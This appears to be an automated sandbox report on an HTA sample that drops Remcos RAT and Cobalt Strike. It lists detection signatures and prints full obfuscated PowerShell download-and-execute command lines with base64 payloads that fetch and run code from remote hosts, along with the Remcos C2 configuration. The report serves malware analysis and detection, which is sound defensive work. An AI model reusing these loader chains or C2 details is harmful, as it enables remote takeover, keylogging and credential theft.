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Windows
Analysis Report
givenbestupdatedoingformebestthingswithgreatnewsformegive.hta
Overview
General Information
Detection
Cobalt Strike, Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Cobalt Strike Beacon
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Yara detected obfuscated html page
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Yara detected WebBrowserPassView password recovery tool
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 2584 cmdline:
mshta.exe "C:\Users\ user\Deskt op\givenbe stupdatedo ingformebe stthingswi thgreatnew sformegive .hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 2888 cmdline:
"C:\Window s\system32 \cmd.exe" "/C PoWErs HeLL -ex bYpaSs -nOP -w 1 -C DEvICECRe dentiALdeP LOYmEnt ; INvOke-e xPrEssIOn( $(inVOKe-e xPressioN( '[sYSTEm.t eXT.EnCOdI nG]'+[CHAR ]58+[cHAR] 58+'utf8.g ETstrInG([ sYsTem.CoN VErt]'+[ch aR]58+[Cha r]58+'fROm bASe64StRi Ng('+[cHaR ]34+'JEdFI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgID0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gYURkLVRZU EUgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW1 lbWJFcmRFZ mluaVRJb04 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgJ1tEb GxJbXBvcnQ oInVyTG1vb i5kbEwiLCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBDaGFyU 2V0ID0gQ2h hclNldC5Vb mljb2RlKV1 wdWJsaWMgc 3RhdGljIGV 4dGVybiBJb nRQdHIgVVJ MRG93bmxvY WRUb0ZpbGU oSW50UHRyI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIElETWt Qbkcsc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIER saCxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgdHg sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBTVCxJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgU UFrKTsnICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1uQU1lI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICJ6dyI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW5hb UVzcGFjRSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBkRWFPI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1QYXN zVGhydTsgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJEdFOjp VUkxEb3dub G9hZFRvRml sZSgwLCJod HRwOi8vMTk yLjMuMTIyL jE1OS80Ny9 lbnRpcmV0a W1lbmVlZGd vb2R0aGluZ 3Nmb3JnZXR iYWNrYmVzd HRoaW5nc3d pdGhnb29kb mV3c2Zvci5 0SUYiLCIkR W5WOkFQUER BVEFcZW50a XJldGltZW5 lZWRnb29kd GhpbmdzZm9 yZ2V0YmFja 2Jlc3R0aGl uZ3N3aXRoZ 29vZG5ldy5 2YlMiLDAsM Ck7c3RBUnQ tU0xlZVAoM yk7SU52T2t lLUVYcHJlc 3NJT04gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIiRlblY6Q VBQREFUQVx lbnRpcmV0a W1lbmVlZGd vb2R0aGluZ 3Nmb3JnZXR iYWNrYmVzd HRoaW5nc3d pdGhnb29kb mV3LnZiUyI ='+[cHar]0 X22+'))')) )" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 3712 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6500 cmdline:
PoWErsHeLL -e x bY paSs -nOP -w 1 - C DE vICECReden tiALdePLOY mEnt ; I NvOke-exPr EssIOn($(i nVOKe-exPr essioN('[s YSTEm.teXT .EnCOdInG] '+[CHAR]58 +[cHAR]58+ 'utf8.gETs trInG([sYs Tem.CoNVEr t]'+[chaR] 58+[Char]5 8+'fROmbAS e64StRiNg( '+[cHaR]34 +'JEdFICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ID0gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgYU RkLVRZUEUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLW1lbW JFcmRFZmlu aVRJb04gIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgJ1tEbGxJ bXBvcnQoIn VyTG1vbi5k bEwiLCAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BDaGFyU2V0 ID0gQ2hhcl NldC5Vbmlj b2RlKV1wdW JsaWMgc3Rh dGljIGV4dG VybiBJbnRQ dHIgVVJMRG 93bmxvYWRU b0ZpbGUoSW 50UHRyICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IElETWtQbk csc3RyaW5n ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIERsaC xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgdHgsdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBT VCxJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgUUFr KTsnICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1uQU1lICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICJ6dyIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW5hbUVz cGFjRSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BkRWFPICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1QYXNzVG hydTsgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg JEdFOjpVUk xEb3dubG9h ZFRvRmlsZS gwLCJodHRw Oi8vMTkyLj MuMTIyLjE1 OS80Ny9lbn RpcmV0aW1l bmVlZGdvb2 R0aGluZ3Nm b3JnZXRiYW NrYmVzdHRo aW5nc3dpdG hnb29kbmV3 c2Zvci50SU YiLCIkRW5W OkFQUERBVE FcZW50aXJl dGltZW5lZW Rnb29kdGhp bmdzZm9yZ2 V0YmFja2Jl c3R0aGluZ3 N3aXRoZ29v ZG5ldy52Yl MiLDAsMCk7 c3RBUnQtU0 xlZVAoMyk7 SU52T2tlLU VYcHJlc3NJ T04gICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIi RlblY6QVBQ REFUQVxlbn RpcmV0aW1l bmVlZGdvb2 R0aGluZ3Nm b3JnZXRiYW NrYmVzdHRo aW5nc3dpdG hnb29kbmV3 LnZiUyI='+ [cHar]0X22 +'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 1848 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\brz1t20s \brz1t20s. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 1532 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S6126.tmp" "c:\Users \user\AppD ata\Local\ Temp\brz1t 20s\CSCB09 66C08AE014 9D5A4EAEA2 6C81DD572. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 5548 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\entir etimeneedg oodthingsf orgetbackb estthingsw ithgoodnew .vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 7080 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $corythosa urus = 'JG Rlc3Rvb3Ig PSAnaHR0cH M6Ly9yZXMu Y2xvdWRpbm FyeS5jb20v ZHp2YWk4Nn VoL2ltYWdl L3VwbG9hZC 92MTczNDA1 MDk5MS91bn hhb29peWt4 Zm13OXBhbj R6MS5qcGcg JzskbWFudW ZhY3Rvcnkg PSBOZXctT2 JqZWN0IFN5 c3RlbS5OZX QuV2ViQ2xp ZW50OyRpbG lvdGliaWFs ID0gJG1hbn VmYWN0b3J5 LkRvd25sb2 FkRGF0YSgk ZGVzdG9vci k7JEJlbGxv YyA9IFtTeX N0ZW0uVGV4 dC5FbmNvZG luZ106OlVU RjguR2V0U3 RyaW5nKCRp bGlvdGliaW FsKTskbWlz cGVyY2Vpdm VzID0gJzw8 QkFTRTY0X1 NUQVJUPj4n OyRvcmJpZm 9sZCA9ICc8 PEJBU0U2NF 9FTkQ+Pic7 JGh5c3Rlcm 9pZCA9ICRC ZWxsb2MuSW 5kZXhPZigk bWlzcGVyY2 VpdmVzKTsk YWRkaXRpb2 5hbGl0eSA9 ICRCZWxsb2 MuSW5kZXhP Zigkb3JiaW ZvbGQpOyRo eXN0ZXJvaW QgLWdlIDAg LWFuZCAkYW RkaXRpb25h bGl0eSAtZ3 QgJGh5c3Rl cm9pZDskaH lzdGVyb2lk ICs9ICRtaX NwZXJjZWl2 ZXMuTGVuZ3 RoOyR3YWdn aW5zID0gJG FkZGl0aW9u YWxpdHkgLS AkaHlzdGVy b2lkOyRyZW NyZW1lbnRz ID0gJEJlbG xvYy5TdWJz dHJpbmcoJG h5c3Rlcm9p ZCwgJHdhZ2 dpbnMpOyRH ZW5ldmEgPS Atam9pbiAo JHJlY3JlbW VudHMuVG9D aGFyQXJyYX koKSB8IEZv ckVhY2gtT2 JqZWN0IHsg JF8gfSlbLT EuLi0oJHJl Y3JlbWVudH MuTGVuZ3Ro KV07JGppbG xhcm9vcyA9 IFtTeXN0ZW 0uQ29udmVy dF06OkZyb2 1CYXNlNjRT dHJpbmcoJE dlbmV2YSk7 JHBvbXVtID 0gW1N5c3Rl bS5SZWZsZW N0aW9uLkFz c2VtYmx5XT o6TG9hZCgk amlsbGFyb2 9zKTskbG93 ZG93biA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRsb3dk b3duLkludm 9rZSgkbnVs bCwgQCgnMC 84VjlycS9y L2VlLmV0c2 FwLy86c3B0 dGgnLCAnJG lzb21lcmlj YWxseScsIC ckaXNvbWVy aWNhbGx5Jy wgJyRpc29t ZXJpY2FsbH knLCAnQ2Fz UG9sJywgJy Rpc29tZXJp Y2FsbHknLC AnJGlzb21l cmljYWxseS csJyRpc29t ZXJpY2FsbH knLCckaXNv bWVyaWNhbG x5JywnJGlz b21lcmljYW xseScsJyRp c29tZXJpY2 FsbHknLCck aXNvbWVyaW NhbGx5Jywn MScsJyRpc2 9tZXJpY2Fs bHknLCcnKS k7';$pycna ster = [Sy stem.Text. Encoding]: :UTF8.GetS tring([Sys tem.Conver t]::FromBa se64String ($corythos aurus));In voke-Expre ssion $pyc naster MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2884 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - CasPol.exe (PID: 6220 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 7124 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\vg phuoqzklpp crzcpcvdcu mi" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 652 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\gi uruybtythu mfngynhenh zrnto" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 2292 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ic zknrmumbzh pljkqyugqm uiwagwoan" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 6536 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ic zknrmumbzh pljkqyugqm uiwagwoan" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["kelexrmcadmnnccupdated.duckdns.org:14646:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-B3IX49", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 22 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 20 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |